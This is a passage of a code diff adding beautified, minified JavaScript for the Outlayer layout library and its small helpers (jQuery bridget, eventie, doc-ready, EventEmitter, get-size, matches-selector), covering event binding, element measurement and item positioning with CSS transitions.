+ for (var s = i.call(arguments, 1), a = 0, h = this.length; h > a; a++) {
+ var u = this[a]
+ , f = t.data(u, e);
+ if (f)
+ if (t.isFunction(f[o]) && "_" !== o.charAt(0)) {
+ var p = f[o].apply(f, s);
+ if (void 0 !== p)
+ return p
+ } else
+ r("no such method '" + o + "' for " + e + " instance");
+ else
+ r("cannot call methods on " + e + " prior to initialization; attempted to call '" + o + "'")
+ }
+ return this
+ }
+ return this.each(function() {
+ var i = t.data(this, e);
+ i ? (i.option(o),
+ i._init()) : (i = new n(this,o),
+ t.data(this, e, i))
+ }
+ )
+ }
+ }
+ if (t) {
+ var r = "undefined" == typeof console ? e : function(t) {
+ console.error(t)
+ }
+ ;
+ return t.bridget = function(t, e) {
+ n(e),
+ o(t, e)
+ }
+ ,
+ t.bridget
+ }
+ }
+ var i = Array.prototype.slice;
+ "function" == typeof define && define.amd ? define("jquery-bridget/jquery.bridget", ["jquery"], n) : n(t.jQuery)
+}
+(window),
+function(t) {
+ function e(e) {
+ var n = t.event;
+ return n.target = n.target || n.srcElement || e,
+ n
+ }
+ var n = document.documentElement
+ , i = function() {}
+ ;
+ n.addEventListener ? i = function(t, e, n) {
+ t.addEventListener(e, n, !1)
+ }
+ : n.attachEvent && (i = function(t, n, i) {
+ t[n + i] = i.handleEvent ? function() {
+ var n = e(t);
+ i.handleEvent.call(i, n)
+ }
+ : function() {
+ var n = e(t);
+ i.call(t, n)
+ }
+ ,
+ t.attachEvent("on" + n, t[n + i])
+ }
+ );
+ var o = function() {}
+ ;
+ n.removeEventListener ? o = function(t, e, n) {
+ t.removeEventListener(e, n, !1)
+ }
+ : n.detachEvent && (o = function(t, e, n) {
+ t.detachEvent("on" + e, t[e + n]);
+ try {
+ delete t[e + n]
+ } catch (i) {
+ t[e + n] = void 0
+ }
+ }
+ );
+ var r = {
+ bind: i,
+ unbind: o
+ };
+ "function" == typeof define && define.amd ? define("eventie/eventie", r) : "object" == typeof exports ? module.exports = r : t.eventie = r
+}
+(this),
+function(t) {
+ function e(t) {
+ "function" == typeof t && (e.isReady ? t() : r.push(t))
+ }
+ function n(t) {
+ var n = "readystatechange" === t.type && "complete" !== o.readyState;
+ if (!e.isReady && !n) {
+ e.isReady = !0;
+ for (var i = 0, s = r.length; s > i; i++) {
+ var a = r[i];
+ a()
+ }
+ }
+ }
+ function i(i) {
+ return i.bind(o, "DOMContentLoaded", n),
+ i.bind(o, "readystatechange", n),
+ i.bind(t, "load", n),
+ e
+ }
+ var o = t.document
+ , r = [];
+ e.isReady = !1,
+ "function" == typeof define && define.amd ? (e.isReady = "function" == typeof requirejs,
+ define("doc-ready/doc-ready", ["eventie/eventie"], i)) : t.docReady = i(t.eventie)
+}
+(this),
+function() {
+ function t() {}
+ function e(t, e) {
+ for (var n = t.length; n--; )
+ if (t[n].listener === e)
+ return n;
+ return -1
+ }
+ function n(t) {
+ return function() {
+ return this[t].apply(this, arguments)
+ }
+ }
+ var i = t.prototype
+ , o = this
+ , r = o.EventEmitter;
+ i.getListeners = function(t) {
+ var e, n, i = this._getEvents();
+ if (t instanceof RegExp) {
+ e = {};
+ for (n in i)
+ i.hasOwnProperty(n) && t.test(n) && (e[n] = i[n])
+ } else
+ e = i[t] || (i[t] = []);
+ return e
+ }
+ ,
+ i.flattenListeners = function(t) {
+ var e, n = [];
+ for (e = 0; e < t.length; e += 1)
+ n.push(t[e].listener);
+ return n
+ }
+ ,
+ i.getListenersAsObject = function(t) {
+ var e, n = this.getListeners(t);
+ return n instanceof Array && (e = {},
+ e[t] = n),
+ e || n
+ }
+ ,
+ i.addListener = function(t, n) {
+ var i, o = this.getListenersAsObject(t), r = "object" == typeof n;
+ for (i in o)
+ o.hasOwnProperty(i) && -1 === e(o[i], n) && o[i].push(r ? n : {
+ listener: n,
+ once: !1
+ });
+ return this
+ }
+ ,
+ i.on = n("addListener"),
+ i.addOnceListener = function(t, e) {
+ return this.addListener(t, {
+ listener: e,
+ once: !0
+ })
+ }
+ ,
+ i.once = n("addOnceListener"),
+ i.defineEvent = function(t) {
+ return this.getListeners(t),
+ this
+ }
+ ,
+ i.defineEvents = function(t) {
+ for (var e = 0; e < t.length; e += 1)
+ this.defineEvent(t[e]);
+ return this
+ }
+ ,
+ i.removeListener = function(t, n) {
+ var i, o, r = this.getListenersAsObject(t);
+ for (o in r)
+ r.hasOwnProperty(o) && (i = e(r[o], n),
+ -1 !== i && r[o].splice(i, 1));
+ return this
+ }
+ ,
+ i.off = n("removeListener"),
+ i.addListeners = function(t, e) {
+ return this.manipulateListeners(!1, t, e)
+ }
+ ,
+ i.removeListeners = function(t, e) {
+ return this.manipulateListeners(!0, t, e)
+ }
+ ,
+ i.manipulateListeners = function(t, e, n) {
+ var i, o, r = t ? this.removeListener : this.addListener, s = t ? this.removeListeners : this.addListeners;
+ if ("object" != typeof e || e instanceof RegExp)
+ for (i = n.length; i--; )
+ r.call(this, e, n[i]);
+ else
+ for (i in e)
+ e.hasOwnProperty(i) && (o = e[i]) && ("function" == typeof o ? r.call(this, i, o) : s.call(this, i, o));
+ return this
+ }
+ ,
+ i.removeEvent = function(t) {
+ var e, n = typeof t, i = this._getEvents();
+ if ("string" === n)
+ delete i[t];
+ else if (t instanceof RegExp)
+ for (e in i)
+ i.hasOwnProperty(e) && t.test(e) && delete i[e];
+ else
+ delete this._events;
+ return this
+ }
+ ,
+ i.removeAllListeners = n("removeEvent"),
+ i.emitEvent = function(t, e) {
+ var n, i, o, r, s = this.getListenersAsObject(t);
+ for (o in s)
+ if (s.hasOwnProperty(o))
+ for (i = s[o].length; i--; )
+ n = s[o][i],
+ n.once === !0 && this.removeListener(t, n.listener),
+ r = n.listener.apply(this, e || []),
+ r === this._getOnceReturnValue() && this.removeListener(t, n.listener);
+ return this
+ }
+ ,
+ i.trigger = n("emitEvent"),
+ i.emit = function(t) {
+ var e = Array.prototype.slice.call(arguments, 1);
+ return this.emitEvent(t, e)
+ }
+ ,
+ i.setOnceReturnValue = function(t) {
+ return this._onceReturnValue = t,
+ this
+ }
+ ,
+ i._getOnceReturnValue = function() {
+ return this.hasOwnProperty("_onceReturnValue") ? this._onceReturnValue : !0
+ }
+ ,
+ i._getEvents = function() {
+ return this._events || (this._events = {})
+ }
+ ,
+ t.noConflict = function() {
+ return o.EventEmitter = r,
+ t
+ }
+ ,
+ "function" == typeof define && define.amd ? define("eventEmitter/EventEmitter", [], function() {
+ return t
+ }
+ ) : "object" == typeof module && module.exports ? module.exports = t : this.EventEmitter = t
+}
+.call(this),
+function(t) {
+ function e(t) {
+ if (t) {
+ if ("string" == typeof i[t])
+ return t;
+ t = t.charAt(0).toUpperCase() + t.slice(1);
+ for (var e, o = 0, r = n.length; r > o; o++)
+ if (e = n[o] + t,
+ "string" == typeof i[e])
+ return e
+ }
+ }
+ var n = "Webkit Moz ms Ms O".split(" ")
+ , i = document.documentElement.style;
+ "function" == typeof define && define.amd ? define("get-style-property/get-style-property", [], function() {
+ return e
+ }
+ ) : "object" == typeof exports ? module.exports = e : t.getStyleProperty = e
+}
+(window),
+function(t) {
+ function e(t) {
+ var e = parseFloat(t)
+ , n = -1 === t.indexOf("%") && !isNaN(e);
+ return n && e
+ }
+ function n() {
+ for (var t = {
+ width: 0,
+ height: 0,
+ innerWidth: 0,
+ innerHeight: 0,
+ outerWidth: 0,
+ outerHeight: 0
+ }, e = 0, n = s.length; n > e; e++) {
+ var i = s[e];
+ t[i] = 0
+ }
+ return t
+ }
+ function i(t) {
+ function i(t) {
+ if ("string" == typeof t && (t = document.querySelector(t)),
+ t && "object" == typeof t && t.nodeType) {
+ var i = r(t);
+ if ("none" === i.display)
+ return n();
+ var o = {};
+ o.width = t.offsetWidth,
+ o.height = t.offsetHeight;
+ for (var f = o.isBorderBox = !(!u || !i[u] || "border-box" !== i[u]), p = 0, c = s.length; c > p; p++) {
+ var d = s[p]
+ , l = i[d];
+ l = a(t, l);
+ var m = parseFloat(l);
+ o[d] = isNaN(m) ? 0 : m
+ }
+ var y = o.paddingLeft + o.paddingRight
+ , v = o.paddingTop + o.paddingBottom
+ , g = o.marginLeft + o.marginRight
+ , E = o.marginTop + o.marginBottom
+ , L = o.borderLeftWidth + o.borderRightWidth
+ , b = o.borderTopWidth + o.borderBottomWidth
+ , _ = f && h
+ , w = e(i.width);
+ w !== !1 && (o.width = w + (_ ? 0 : y + L));
+ var x = e(i.height);
+ return x !== !1 && (o.height = x + (_ ? 0 : v + b)),
+ o.innerWidth = o.width - (y + L),
+ o.innerHeight = o.height - (v + b),
+ o.outerWidth = o.width + g,
+ o.outerHeight = o.height + E,
+ o
+ }
+ }
+ function a(t, e) {
+ if (o || -1 === e.indexOf("%"))
+ return e;
+ var n = t.style
+ , i = n.left
+ , r = t.runtimeStyle
+ , s = r && r.left;
+ return s && (r.left = t.currentStyle.left),
+ n.left = e,
+ e = n.pixelLeft,
+ n.left = i,
+ s && (r.left = s),
+ e
+ }
+ var h, u = t("boxSizing");
+ return function() {
+ if (u) {
+ var t = document.createElement("div");
+ t.style.width = "200px",
+ t.style.padding = "1px 2px 3px 4px",
+ t.style.borderStyle = "solid",
+ t.style.borderWidth = "1px 2px 3px 4px",
+ t.style[u] = "border-box";
+ var n = document.body || document.documentElement;
+ n.appendChild(t);
+ var i = r(t);
+ h = 200 === e(i.width),
+ n.removeChild(t)
+ }
+ }
+ (),
+ i
+ }
+ var o = t.getComputedStyle
+ , r = o ? function(t) {
+ return o(t, null )
+ }
+ : function(t) {
+ return t.currentStyle
+ }
+ , s = ["paddingLeft", "paddingRight", "paddingTop", "paddingBottom", "marginLeft", "marginRight", "marginTop", "marginBottom", "borderLeftWidth", "borderRightWidth", "borderTopWidth", "borderBottomWidth"];
+ "function" == typeof define && define.amd ? define("get-size/get-size", ["get-style-property/get-style-property"], i) : "object" == typeof exports ? module.exports = i(require("get-style-property")) : t.getSize = i(t.getStyleProperty)
+}
+(window),
+function(t, e) {
+ function n(t, e) {
+ return t[a](e)
+ }
+ function i(t) {
+ if (!t.parentNode) {
+ var e = document.createDocumentFragment();
+ e.appendChild(t)
+ }
+ }
+ function o(t, e) {
+ i(t);
+ for (var n = t.parentNode.querySelectorAll(e), o = 0, r = n.length; r > o; o++)
+ if (n[o] === t)
+ return !0;
+ return !1
+ }
+ function r(t, e) {
+ return i(t),
+ n(t, e)
+ }
+ var s, a = function() {
+ if (e.matchesSelector)
+ return "matchesSelector";
+ for (var t = ["webkit", "moz", "ms", "o"], n = 0, i = t.length; i > n; n++) {
+ var o = t[n]
+ , r = o + "MatchesSelector";
+ if (e[r])
+ return r
+ }
+ }
+ ();
+ if (a) {
+ var h = document.createElement("div")
+ , u = n(h, "div");
+ s = u ? n : r
+ } else
+ s = o;
+ "function" == typeof define && define.amd ? define("matches-selector/matches-selector", [], function() {
+ return s
+ }
+ ) : window.matchesSelector = s
+}
+(this, Element.prototype),
+function(t) {
+ function e(t, e) {
+ for (var n in e)
+ t[n] = e[n];
+ return t
+ }
+ function n(t) {
+ for (var e in t)
+ return !1;
+ return e = null ,
+ !0
+ }
+ function i(t) {
+ return t.replace(/([A-Z])/g, function(t) {
+ return "-" + t.toLowerCase()
+ }
+ )
+ }
+ function o(t, o, r) {
+ function a(t, e) {
+ t && (this.element = t,
+ this.layout = e,
+ this.position = {
+ x: 0,
+ y: 0
+ },
+ this._create())
+ }
+ var h = r("transition")
+ , u = r("transform")
+ , f = h && u
+ , p = !!r("perspective")
+ , c = {
+ WebkitTransition: "webkitTransitionEnd",
+ MozTransition: "transitionend",
+ OTransition: "otransitionend",
+ transition: "transitionend"
+ }[h]
+ , d = ["transform", "transition", "transitionDuration", "transitionProperty"]
+ , l = function() {
+ for (var t = {}, e = 0, n = d.length; n > e; e++) {
+ var i = d[e]
+ , o = r(i);
+ o && o !== i && (t[i] = o)
+ }
+ return t
+ }
+ ();
+ e(a.prototype, t.prototype),
+ a.prototype._create = function() {
+ this._transn = {
+ ingProperties: {},
+ clean: {},
+ onEnd: {}
+ },
+ this.css({
+ position: "absolute"
+ })
+ }
+ ,
+ a.prototype.handleEvent = function(t) {
+ var e = "on" + t.type;
+ this[e] && this[e](t)
+ }
+ ,
+ a.prototype.getSize = function() {
+ this.size = o(this.element)
+ }
+ ,
+ a.prototype.css = function(t) {
+ var e = this.element.style;
+ for (var n in t) {
+ var i = l[n] || n;
+ e[i] = t[n]
+ }
+ }
+ ,
+ a.prototype.getPosition = function() {
+ var t = s(this.element)
+ , e = this.layout.options
+ , n = e.isOriginLeft
+ , i = e.isOriginTop
+ , o = parseInt(t[n ? "left" : "right"], 10)
+ , r = parseInt(t[i ? "top" : "bottom"], 10);
+ o = isNaN(o) ? 0 : o,
+ r = isNaN(r) ? 0 : r;
+ var a = this.layout.size;
+ o -= n ? a.paddingLeft : a.paddingRight,
+ r -= i ? a.paddingTop : a.paddingBottom,
+ this.position.x = o,
+ this.position.y = r
+ }
+ ,
+ a.prototype.layoutPosition = function() {
+ var t = this.layout.size
+ , e = this.layout.options
+ , n = {};
+ e.isOriginLeft ? (n.left = this.position.x + t.paddingLeft + "px",
+ n.right = "") : (n.right = this.position.x + t.paddingRight + "px",
+ n.left = ""),
+ e.isOriginTop ? (n.top = this.position.y + t.paddingTop + "px",
+ n.bottom = "") : (n.bottom = this.position.y + t.paddingBottom + "px",
+ n.top = ""),
+ this.css(n),
+ this.emitEvent("layout", [this])
+ }
+ ;
+ var m = p ? function(t, e) {
+ return "translate3d(" + t + "px, " + e + "px, 0)"
+ }
+ : function(t, e) {
+ return "translate(" + t + "px, " + e + "px)"
+ }
+ ;
+ a.prototype._transitionTo = function(t, e) {
+ this.getPosition();
+ var n = this.position.x
+ , i = this.position.y
+ , o = parseInt(t, 10)
+ , r = parseInt(e, 10)
+ , s = o === this.position.x && r === this.position.y;
+ if (this.setPosition(t, e),
+ s && !this.isTransitioning)
+ return void this.layoutPosition();
+ var a = t - n
+ , h = e - i
+ , u = {}
+ , f = this.layout.options;
+ a = f.isOriginLeft ? a : -a,
+ h = f.isOriginTop ? h : -h,
+ u.transform = m(a, h),
+ this.transition({
+ to: u,
+ onTransitionEnd: {
+ transform: this.layoutPosition
+ },
+ isCleaning: !0
+ })
+ }
+ ,
+ a.prototype.goTo = function(t, e) {
+ this.setPosition(t, e),
+ this.layoutPosition()
+ }
+ ,
+ a.prototype.moveTo = f ? a.prototype._transitionTo : a.prototype.goTo,
+ a.prototype.setPosition = function(t, e) {
+ this.position.x = parseInt(t, 10),
+ this.position.y = parseInt(e, 10)
+ }
+ ,
+ a.prototype._nonTransition = function(t) {
+ this.css(t.to),
+ t.isCleaning && this._removeStyles(t.to);
+ for (var e in t.onTransitionEnd)
+ t.onTransitionEnd[e].call(this)
+ }
+ ,
+ a.prototype._transition = function(t) {
+ if (!parseFloat(this.layout.options.transitionDuration))
+ return void this._nonTransition(t);
+ var e = this._transn;
+ for (var n in t.onTransitionEnd)
+ e.onEnd[n] = t.onTransitionEnd[n];
+ for (n in t.to)
+ e.ingProperties[n] = !0,
+ t.isCleaning && (e.clean[n] = !0);
+ if (t.from) {
+ this.css(t.from);
+ var i = this.element.offsetHeight;
+ i = null
+ }
+ this.enableTransition(t.to),
+ this.css(t.to),
+ this.isTransitioning = !0
+ }
+ ;
+ var y = u && i(u) + ",opacity";
+ a.prototype.enableTransition = function() {
+ this.isTransitioning || (this.css({
+ transitionProperty: y,
+ transitionDuration: this.layout.options.transitionDuration
+ }),
+ this.element.addEventListener(c, this, !1))
+ }
+ ,
+ a.prototype.transition = a.prototype[h ? "_transition" : "_nonTransition"],
+ a.prototype.onwebkitTransitionEnd = function(t) {
+ this.ontransitionend(t)
+ }
+ ,
+ a.prototype.onotransitionend = function(t) {
+ this.ontransitionend(t)
+ }
+ ;
+ var v = {
+ "-webkit-transform": "transform",
+ "-moz-transform": "transform",
+ "-o-transform": "transform"
+ };
+ a.prototype.ontransitionend = function(t) {
+ if (t.target === this.element) {
+ var e = this._transn
+ , i = v[t.propertyName] || t.propertyName;
+ if (delete e.ingProperties[i],
+ n(e.ingProperties) && this.disableTransition(),
+ i in e.clean && (this.element.style[t.propertyName] = "",
+ delete e.clean[i]),
+ i in e.onEnd) {
+ var o = e.onEnd[i];
+ o.call(this),
+ delete e.onEnd[i]
+ }
+ this.emitEvent("transitionEnd", [this])
+ }
+ }
+ ,
+ a.prototype.disableTransition = function() {
+ this.removeTransitionStyles(),
+ this.element.removeEventListener(c, this, !1),
+ this.isTransitioning = !1
+ }
+ ,
+ a.prototype._removeStyles = function(t) {
+ var e = {};
+ for (var n in t)
+ e[n] = "";
+ this.css(e)
+ }
+ ;
+ var g = {
+ transitionProperty: "",
+ transitionDuration: ""
+ };
+ return a.prototype.removeTransitionStyles = function() {
+ this.css(g)
+ }
+ ,
+ a.prototype.removeElem = function() {
+ this.element.parentNode.removeChild(this.element),
+ this.emitEvent("remove", [this])
+ }
+ ,
+ a.prototype.remove = function() {
+ if (!h || !parseFloat(this.layout.options.transitionDuration))
+ return void this.removeElem();
+ var t = this;
+ this.on("transitionEnd", function() {
+ return t.removeElem(),
+ !0
+ }
+ ),
+ this.hide()
+ }
+ ,
+ a.prototype.reveal = function() {
+ delete this.isHidden,
+ this.css({
+ display: ""
+ });
+ var t = this.layout.options;
+ this.transition({
+ from: t.hiddenStyle,
+ to: t.visibleStyle,
+ isCleaning: !0
+ })
+ }
+ ,
+ a.prototype.hide = function() {
+ this.isHidden = !0,
+ this.css({
+ display: ""
+ });
+ var t = this.layout.options;
+ this.transition({
+ from: t.visibleStyle,
+ to: t.hiddenStyle,
+ isCleaning: !0,
+ onTransitionEnd: {
+ opacity: function() {
+ this.isHidden && this.css({
+ display: "none"
+ })
+ }
+ }
+ })
+ }
+ ,
+ a.prototype.destroy = function() {
+ this.css({
+ position: "",
+ left: "",
+ right: "",
+ top: "",
+ bottom: "",
+ transition: "",
+ transform: ""
+ })
+ }
+ ,
+ a
+ }
+ var r = t.getComputedStyle
+ , s = r ? function(t) {
+ return r(t, null )
+ }
+ : function(t) {
+ return t.currentStyle
+ }
+ ;
+ "function" == typeof define && define.amd ? define("outlayer/item", ["eventEmitter/EventEmitter", "get-size/get-size", "get-style-property/get-style-property"], o) : (t.Outlayer = {},
+ t.Outlayer.Item = o(t.EventEmitter, t.getSize, t.getStyleProperty))
+}
+(window),
+function(t) {
+ function e(t, e) {
+ for (var n in e)
+ t[n] = e[n];
+ return t
+ }
+ function n(t) {
+ return "[object Array]" === p.call(t)
+ }
+ function i(t) {
+ var e = [];
+ if (n(t))
+ e = t;
+ else if (t && "number" == typeof t.length)
+ for (var i = 0, o = t.length; o > i; i++)
+ e.push(t[i]);
+ else
+ e.push(t);
+ return e
+ }
+ function o(t, e) {
+ var n = d(e, t);
+ -1 !== n && e.splice(n, 1)
+ }
+ function r(t) {
+ return t.replace(/(.)([A-Z])/g, function(t, e, n) {
+ return e + "-" + n
+ }
+ ).toLowerCase()
+ }
+ function s(n, s, p, d, l, m) {
+ function y(t, n) {
+ if ("string" == typeof t && (t = a.querySelector(t)),
+ !t || !c(t))
+ return void (h && h.error("Bad " + this.constructor.namespace + " element: " + t));
+ this.element = t,
+ this.options = e({}, this.constructor.defaults),
+ this.option(n);
+ var i = ++v;
+ this.element.outlayerGUID = i,
+ g[i] = this,
+ this._create(),
+ this.options.isInitLayout && this.layout()
+ }
+ var v = 0
+ , g = {};
+ return y.namespace = "outlayer",
+ y.Item = m,
+ y.defaults = {
+ containerStyle: {
+ position: "relative"
+ },
+ isInitLayout: !0,
+ isOriginLeft: !0,
+ isOriginTop: !0,
+ isResizeBound: !0,
+ isResizingContainer: !0,
+ transitionDuration: "0.4s",
+ hiddenStyle: {
+ opacity: 0,
+ transform: "scale(0.001)"
+ },
+ visibleStyle: {
+ opacity: 1,
+ transform: "scale(1)"
+ }
+ },
+ e(y.prototype, p.prototype),
+ y.prototype.option = function(t) {
+ e(this.options, t)
+ }
+ ,
+ y.prototype._create = function() {
+ this.reloadItems(),
+ this.stamps = [],
+ this.stamp(this.options.stamp),
+ e(this.element.style, this.options.containerStyle),
+ this.options.isResizeBound && this.bindResize()
+ }
+ ,
+ y.prototype.reloadItems = function() {
+ this.items = this._itemize(this.element.children)
+ }
+ ,
+ y.prototype._itemize = function(t) {
+ for (var e = this._filterFindItemElements(t), n = this.constructor.Item, i = [], o = 0, r = e.length; r > o; o++) {
+ var s = e[o]
+ , a = new n(s,this);
+ i.push(a)
+ }
+ return i
+ }
+ ,
+ y.prototype._filterFindItemElements = function(t) {
+ t = i(t);
+ for (var e = this.options.itemSelector, n = [], o = 0, r = t.length; r > o; o++) {
+ var s = t[o];
+ if (c(s))
+ if (e) {
+ l(s, e) && n.push(s);
+ for (var a = s.querySelectorAll(e), h = 0, u = a.length; u > h; h++)
+ n.push(a[h])
+ } else
+ n.push(s)
+ }
+ return n
+ }
+ ,
+ y.prototype.getItemElements = function() {
+ for (var t = [], e = 0, n = this.items.length; n > e; e++)
+ t.push(this.items[e].element);
+ return t
+ }
+ ,
+ y.prototype.layout = function() {
+ this._resetLayout(),
+ this._manageStamps();
+ var t = void 0 !== this.options.isLayoutInstant ? this.options.isLayoutInstant : !this._isLayoutInited;
+ this.layoutItems(this.items, t),
+ this._isLayoutInited = !0
+ }
+ ,
+ y.prototype._init = y.prototype.layout,
+ y.prototype._resetLayout = function() {
+ this.getSize()
+ }
+ ,
+ y.prototype.getSize = function() {
+ this.size = d(this.element)
+ }
+ ,
+ y.prototype._getMeasurement = function(t, e) {
+ var n, i = this.options[t];
+ i ? ("string" == typeof i ? n = this.element.querySelector(i) : c(i) && (n = i),
+ this[t] = n ? d(n)[e] : i) : this[t] = 0
+ }
+ ,
+ y.prototype.layoutItems = function(t, e) {
+ t = this._getItemsForLayout(t),
+ this._layoutItems(t, e),
+ this._postLayout()
+ }
+ ,
+ y.prototype._getItemsForLayout = function(t) {
+ for (var e = [], n = 0, i = t.length; i > n; n++) {
+ var o = t[n];
+ o.isIgnored || e.push(o)
+ }
+ return e
+ }
+ ,
+ y.prototype._layoutItems = function(t, e) {
+ function n() {
+ i.emitEvent("layoutComplete", [i, t])
+ }
+ var i = this;
+ if (!t || !t.length)
+ return void n();
+ this._itemsOn(t, "layout", n);
+ for (var o = [], r = 0, s = t.length; s > r; r++) {
+ var a = t[r]
+ , h = this._getItemLayoutPosition(a);
+ h.item = a,
+ h.isInstant = e || a.isLayoutInstant,
+ o.push(h)
+ }
+ this._processLayoutQueue(o)
+ }
+ ,
+ y.prototype._getItemLayoutPosition = function() {
+ return {
+ x: 0,
+ y: 0
+ }
+ }
+ ,
+ y.prototype._processLayoutQueue = function(t) {
+ for (var e = 0, n = t.length; n > e; e++) {
+ var i = t[e];
+ this._positionItem(i.item, i.x, i.y, i.isInstant)
+ }
+ }
+ ,
+ y.prototype._positionItem = function(t, e, n, i) {
+ i ? t.goTo(e, n) : t.moveTo(e, n)
+ }
+ ,
+ y.prototype._postLayout = function() {
+ this.resizeContainer()
+ }
+ ,
+ y.prototype.resizeContainer = function() {
+ if (this.options.isResizingContainer) {
+ var t = this._getContainerSize();
+ t && (this._setContainerMeasure(t.width, !0),
+ this._setContainerMeasure(t.height, !1))
+ }
+ }
+ ,
+ y.prototype._getContainerSize = f,
+ y.prototype._setContainerMeasure = function(t, e) {
+ if (void 0 !== t) {
+ var n = this.size;
+ n.isBorderBox && (t += e ? n.paddingLeft + n.paddingRight + n.borderLeftWidth + n.borderRightWidth : n.paddingBottom + n.paddingTop + n.borderTopWidth + n.borderBottomWidth),
+ t = Math.max(t, 0),
+ this.element.style[e ? "width" : "height"] = t + "px"
+ }
+ }
+ ,
+ y.prototype._itemsOn = function(t, e, n) {
+ function i() {
+ return o++,
+ o === r && n.call(s),
+ !0
+ }
+ for (var o = 0, r = t.length, s = this, a = 0, h = t.length; h > a; a++) {
+ var u = t[a];
+ u.on(e, i)
+ }
+ }
+ ,
+ y.prototype.ignore = function(t) {
+ var e = this.getItem(t);
+ e && (e.isIgnored = !0)
+ }
+ ,
+ y.prototype.unignore = function(t) {
+ var e = this.getItem(t);
+ e && delete e.isIgnored
+ }
+ ,
+ y.prototype.stamp = function(t) {
+ if (t = this._find(t)) {
+ this.stamps = this.stamps.concat(t);
+ for (var e = 0, n = t.length; n > e; e++) {
+ var i = t[e];
+ this.ignore(i)
+ }
+ }
+ }
+ ,
+ y.prototype.unstamp = function(t) {
+ if (t = this._find(t))
+ for (var e = 0, n = t.length; n > e; e++) {
+ var i = t[e];
+ o(i, this.stamps),
+ this.unignore(i)
+ }
+ }
+ ,
+ y.prototype._find = function(t) {
+ return t ? ("string" == typeof t && (t = this.element.querySelectorAll(t)),
+ t = i(t)) : void 0
+ }
+ ,
+ y.prototype._manageStamps = function() {
+ if (this.stamps && this.stamps.length) {
+ this._getBoundingRect();
+ for (var t = 0, e = this.stamps.length; e > t; t++) {
+ var n = this.stamps[t];
+ this._manageStamp(n)
+ }
+ }
+ }
+ ,
+ y.prototype._getBoundingRect = function() {
+ var t = this.element.getBoundingClientRect()
+ , e = this.size;
+ this._boundingRect = {
+ left: t.left + e.paddingLeft + e.borderLeftWidth,
+ top: t.top + e.paddingTop + e.borderTopWidth,
+ right: t.right - (e.paddingRight + e.borderRightWidth),
+ bottom: t.bottom - (e.paddingBottom + e.borderBottomWidth)
+ }
+ }
+ ,
+ y.prototype._manageStamp = f,
+ y.prototype._getElementOffset = function(t) {
+ var e = t.getBoundingClientRect()
+ , n = this._boundingRect
+ , i = d(t)
+ , o = {
+ left: e.left - n.left - i.marginLeft,
+ top: e.top - n.top - i.marginTop,
+ right: n.right - e.right - i.marginRight,
+ bottom: n.bottom - e.bottom - i.marginBottom
+ };
+ return o
+ }
+ ,
+ y.prototype.handleEvent = function(t) {
+ var e = "on" + t.type;
+ this[e] && this[e](t)
+ }
+ ,
+ y.prototype.bindResize = function() {
+ this.isResizeBound || (n.bind(t, "resize", this),
+ this.isResizeBound = !0)
+ }
+ ,
+ y.prototype.unbindResize = function() {
+ this.isResizeBound && n.unbind(t, "resize", this),
+ this.isResizeBound = !1
+ }
+ ,
+ y.prototype.onresize = function() {
+ function t() {
+ e.resize(),
+ delete e.resizeTimeout
+ }
+ this.resizeTimeout && clearTimeout(this.resizeTimeout);
+ var e = this;
+ this.resizeTimeout = setTimeout(t, 100)
+ }
+ ,
+ y.prototype.resize = function() {
+ this.isResizeBound && this.needsResizeLayout() && this.layout()
+ }
+ ,
+ y.prototype.needsResizeLayout = function() {
+ var t = d(this.element)
+ , e = this.size && t;
+ return e && t.innerWidth !== this.size.innerWidth
+ }
+ ,
+ y.prototype.addItems = function(t) {
+ var e = this._itemize(t);
+ return e.length && (this.items = this.items.concat(e)),
+ e
+ }
+ ,
+ y.prototype.appended = function(t) {
+ var e = this.addItems(t);
+ e.length && (this.layoutItems(e, !0),
+ this.reveal(e))
+ }
+ ,
+ y.prototype.prepended = function(t) {
+ var e = this._itemize(t);
+ if (e.length) {
+ var n = this.items.slice(0);
+ this.items = e.concat(n),
+ this._resetLayout(),
+ this._manageStamps(),
+ this.layoutItems(e, !0),
+ this.reveal(e),
+ this.layoutItems(n)
+ }
+ }
+ ,
+ y.prototype.reveal = function(t) {
+ var e = t && t.length;
+ if (e)
+ for (var n = 0; e > n; n++) {
+ var i = t[n];
+ i.reveal()
+ }
+ }
+ ,
+ y.prototype.hide = function(t) {
+ var e = t && t.length;
+ if (e)
+ for (var n = 0; e > n; n++) {
+ var i = t[n];
+ i.hide()
+ }
+ }
+ ,
+ y.prototype.getItem = function(t) {
+ for (var e = 0, n = this.items.length; n > e; e++) {
+ var i = this.items[e];
+ if (i.element === t)
+ return i
+ }
+ }
+ ,
+ y.prototype.getItems = function(t) {
+ if (t && t.length) {
+ for (var e = [], n = 0, i = t.length; i > n; n++) {
+ var o = t[n]
+ , r = this.getItem(o);
+ r && e.push(r)
+ }
+ return e
+ }
+ }
+ ,
+ y.prototype.remove = function(t) {
+ t = i(t);
+ var e = this.getItems(t);
+ if (e && e.length) {
+ this._itemsOn(e, "remove", function() {
+ this.emitEvent("removeComplete", [this, e])
+ }
+ );
+ for (var n = 0, r = e.length; r > n; n++) {
+ var s = e[n];
+ s.remove(),
+ o(s, this.items)
+ }
+ }
+ }
+ ,
+ y.prototype.destroy = function() {
+ var t = this.element.style;
+ t.height = "",
+ t.position = "",
+ t.width = "";
+ for (var e = 0, n = this.items.length; n > e; e++) {
+ var i = this.items[e];
+ i.destroy()
+ }
+ this.unbindResize(),
+ delete this.element.outlayerGUID,
+ u && u.removeData(this.element, this.constructor.namespace)
+ }
+ ,
+ y.data = function(t) {
+ var e = t && t.outlayerGUID;
+ return e && g[e]
+ }
+ ,
+ y.create = function(t, n) {
+ function i() {
+ y.apply(this, arguments)
+ }
+ return Object.create ? i.prototype = Object.create(y.prototype) : e(i.prototype, y.prototype),
+ i.prototype.constructor = i,
+ i.defaults = e({}, y.defaults),
+ e(i.defaults, n),
+ i.prototype.settings = {},
+ i.namespace = t,
+ i.data = y.data,
+ i.Item = function() {
+ m.apply(this, arguments)
+ }
+ ,
+ i.Item.prototype = new m,
+ s(function() {
+ for (var e = r(t), n = a.querySelectorAll(".js-" + e), o = "data-" + e + "-options", s = 0, f = n.length; f > s; s++) {
+ var p, c = n[s], d = c.getAttribute(o);
+ try {
+ p = d && JSON.parse(d)
+ } catch (l) {
+ h && h.error("Error parsing " + o + " on " + c.nodeName.toLowerCase() + (c.id ? "#" + c.id : "") + ": " + l);
+ continue
+ }
+ var m = new i(c,p);
+ u && u.data(c, t, m)
+ }
+ }
+ ),
+ u && u.bridget && u.bridget(t, i),
+ i
+ }
+ ,
+ y.Item = m,
+ y
+ }
+ var a = t.document
